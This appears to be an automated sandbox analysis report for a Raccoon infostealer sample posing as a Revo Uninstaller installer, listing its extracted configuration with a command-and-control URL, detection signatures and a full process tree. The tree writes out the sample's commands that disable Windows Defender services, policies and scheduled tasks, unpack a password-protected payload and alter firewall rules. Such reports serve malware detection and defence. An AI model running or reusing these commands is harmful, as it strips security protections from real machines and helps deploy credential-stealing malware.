Analysis

  • max time kernel
    88s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    09/03/2022, 02:20

General

  • Target
    dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.exe
  • Size 22.5MB
  • Sample220309-csyrpsfbdl
  • SHA256 dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • raccoon

Version
  • 1.7.1-hotfix

Botnet
  • 5eaa41b3101d5537f786a35da1878f0d1d760e53

Attributes
  • url4cnc

    https://telete.in/jbitchsucks

rc4.plain
rc4.plain

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload 3 IoCs
  • ACProtect 1.3x - 1.4x DLL software 1 IoCs

    Detects file using ACProtect software.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 16 IoCs
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.exe
    "C:\Users\Admin\AppData\Local\Temp\dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2868
    • C:\Users\Admin\AppData\Local\Temp\is-LSQSH.tmp\dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-LSQSH.tmp\dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp" /SL5="$90062,22819490,788992,C:\Users\Admin\AppData\Local\Temp\dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Loads dropped DLL
      • Drops file in Program Files directory
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4400
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\44FgviLd\MMF.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4648
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\ProgramData\44FgviLd\n0eexnwg.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:456
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
            5⤵
              PID:4108
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
              5⤵
                PID:540
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                5⤵
                  PID:3432
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                  5⤵
                    PID:432
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                    5⤵
                      PID:4940
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                      5⤵
                        PID:4976
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                        5⤵
                          PID:5080
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                          5⤵
                            PID:1004
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                            5⤵
                              PID:3928
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                              5⤵
                                PID:1468
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                5⤵
                                  PID:1372
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                  5⤵
                                    PID:1984
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                    5⤵
                                      PID:1388
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                      5⤵
                                        PID:2384
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        5⤵
                                          PID:1228
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                          5⤵
                                            PID:1764
                                          • C:\Windows\SysWOW64\schtasks.exe
                                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                            5⤵
                                              PID:2112
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                              5⤵
                                                PID:4428
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                5⤵
                                                  PID:4448
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                  5⤵
                                                    PID:2600
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                    5⤵
                                                      PID:1244
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                      5⤵
                                                        PID:700
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                        5⤵
                                                          PID:400
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                          5⤵
                                                            PID:4028
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                            5⤵
                                                              PID:4044
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                              5⤵
                                                                PID:1868
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                5⤵
                                                                  PID:1708
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                  5⤵
                                                                    PID:2020
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                    5⤵
                                                                      PID:4440
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                      5⤵
                                                                        PID:4432
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                        5⤵
                                                                        • Modifies security service
                                                                        PID:5036
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                        5⤵
                                                                          PID:480
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c ""C:\ProgramData\44FgviLd\main.bat" "
                                                                        4⤵
                                                                        • Suspicious use of WriteProcessMemory
                                                                        PID:1552
                                                                        • C:\Windows\SysWOW64\mode.com
                                                                          mode 65,10
                                                                          5⤵
                                                                            PID:1680
                                                                          • C:\ProgramData\44FgviLd\7z.exe
                                                                            7z.exe e file.zip -p___________24064pwd24000pwd10377___________ -oextracted
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1784
                                                                          • C:\ProgramData\44FgviLd\7z.exe
                                                                            7z.exe e extracted/file_7.zip -oextracted
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4260
                                                                          • C:\ProgramData\44FgviLd\7z.exe
                                                                            7z.exe e extracted/file_6.zip -oextracted
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:3388
                                                                          • C:\ProgramData\44FgviLd\7z.exe
                                                                            7z.exe e extracted/file_5.zip -oextracted
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4476
                                                                          • C:\ProgramData\44FgviLd\7z.exe
                                                                            7z.exe e extracted/file_4.zip -oextracted
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2596
                                                                          • C:\ProgramData\44FgviLd\7z.exe
                                                                            7z.exe e extracted/file_3.zip -oextracted
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2988
                                                                          • C:\ProgramData\44FgviLd\7z.exe
                                                                            7z.exe e extracted/file_2.zip -oextracted
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:3424
                                                                          • C:\ProgramData\44FgviLd\7z.exe
                                                                            7z.exe e extracted/file_1.zip -oextracted
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:3436
                                                                          • C:\ProgramData\44FgviLd\rchost.exe
                                                                            "rchost.exe"
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Checks BIOS information in registry
                                                                            • Checks whether UAC is enabled
                                                                            • Suspicious use of SetThreadContext
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1104
                                                                            • C:\ProgramData\44FgviLd\rchost.exe
                                                                              "rchost.exe"
                                                                              6⤵
                                                                              • Executes dropped EXE
                                                                              PID:4628
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 488
                                                                                7⤵
                                                                                • Program crash
                                                                                PID:4792
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c ""C:\ProgramData\44FgviLd\kgr2ln9m.bat" "
                                                                          4⤵
                                                                          • Suspicious use of WriteProcessMemory
                                                                          PID:2224
                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                            timeout /T 60 /NOBREAK
                                                                            5⤵
                                                                            • Delays execution with timeout.exe
                                                                            PID:4832
                                                                      • C:\Program Files (x86)\Revo Uninstaller Pro 4.2.3.exe
                                                                        "C:\Program Files (x86)\Revo Uninstaller Pro 4.2.3.exe"
                                                                        3⤵
                                                                        • Executes dropped EXE
                                                                        • Loads dropped DLL
                                                                        • Suspicious use of WriteProcessMemory
                                                                        PID:4744
                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                          netsh.exe advfirewall firewall delete rule name="all" remoteip=95.141.193.133
                                                                          4⤵
                                                                            PID:4628
                                                                          • C:\Windows\SysWOW64\route.exe
                                                                            route.exe delete 95.141.193.133
                                                                            4⤵
                                                                              PID:1500
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4628 -ip 4628
                                                                        1⤵
                                                                          PID:4508

                                                                        Network

                                                                              MITRE ATT&CK Enterprise v6

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              memory/1104-174-0x00000000764E0000-0x00000000765D0000-memory.dmp

                                                                              memory/1104-193-0x0000000009720000-0x00000000098E2000-memory.dmp

                                                                              memory/1104-178-0x00000000764E0000-0x00000000765D0000-memory.dmp

                                                                              memory/1104-179-0x00000000764E0000-0x00000000765D0000-memory.dmp

                                                                              memory/1104-180-0x00000000764E0000-0x00000000765D0000-memory.dmp

                                                                              memory/1104-185-0x0000000000910000-0x0000000000E4C000-memory.dmp

                                                                              memory/1104-186-0x0000000072270000-0x0000000072A20000-memory.dmp

                                                                              memory/1104-187-0x0000000005810000-0x00000000058AC000-memory.dmp

                                                                              memory/1104-176-0x00000000764E0000-0x00000000765D0000-memory.dmp

                                                                              memory/1104-189-0x0000000005A20000-0x0000000005A21000-memory.dmp

                                                                              memory/1104-190-0x00000000085E0000-0x0000000008B84000-memory.dmp

                                                                              memory/1104-191-0x0000000008110000-0x00000000081A2000-memory.dmp

                                                                              memory/1104-192-0x00000000082B0000-0x0000000008316000-memory.dmp

                                                                              memory/1104-177-0x00000000764E0000-0x00000000765D0000-memory.dmp

                                                                              memory/1104-194-0x0000000009E20000-0x000000000A34C000-memory.dmp

                                                                              memory/1104-195-0x0000000009670000-0x0000000009692000-memory.dmp

                                                                              memory/1104-175-0x00000000764E0000-0x00000000765D0000-memory.dmp

                                                                              memory/1104-173-0x00000000764E0000-0x00000000765D0000-memory.dmp

                                                                              memory/1104-204-0x00000000764E0000-0x00000000765D0000-memory.dmp

                                                                              memory/1104-199-0x0000000005910000-0x0000000005932000-memory.dmp

                                                                              memory/2868-130-0x0000000000400000-0x00000000004CE000-memory.dmp

                                                                              memory/2868-133-0x0000000000400000-0x00000000004CE000-memory.dmp

                                                                              memory/4400-134-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

                                                                              memory/4628-200-0x0000000000400000-0x0000000000493000-memory.dmp

                                                                              memory/4628-202-0x0000000000400000-0x0000000000493000-memory.dmp

                                                                              memory/4628-203-0x0000000000400000-0x0000000000493000-memory.dmp